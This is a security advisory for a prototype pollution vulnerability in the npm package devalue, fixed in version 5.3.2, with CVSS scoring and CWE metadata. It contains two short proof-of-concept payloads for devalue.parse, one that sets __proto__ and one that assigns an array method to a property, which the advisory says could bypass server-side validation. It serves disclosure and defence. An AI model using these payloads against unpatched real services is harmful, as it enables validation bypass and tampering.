GHSA-vj54-72f3-p5jv

Suggest an improvement
Source
https://github.com/advisories/GHSA-vj54-72f3-p5jv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-vj54-72f3-p5jv/GHSA-vj54-72f3-p5jv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vj54-72f3-p5jv
Aliases
Published
2025-08-26T22:33:14Z
Modified
2025-08-27T14:27:08Z
Severity
  • 7.9 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H CVSS Calculator
Summary
devalue prototype pollution vulnerability
Details

1. devalue.parse allows __proto__ to be set

A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:

class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}

const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;

const vector = devalue.parse(payload, {
  Vector: ([x, y]) => new Vector(x, y)
});

console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5

2. devalue.parse allows array prototype methods to be assigned to object

In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:

devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]

devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0

This could be used by a creative attacker to bypass server-side validation.

Database specific
{
    "cwe_ids": [
        "CWE-1321"
    ],
    "github_reviewed_at": "2025-08-26T22:33:14Z",
    "nvd_published_at": "2025-08-26T23:15:35Z",
    "github_reviewed": true,
    "severity": "HIGH"
}
References

Affected packages

npm / devalue

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.3.2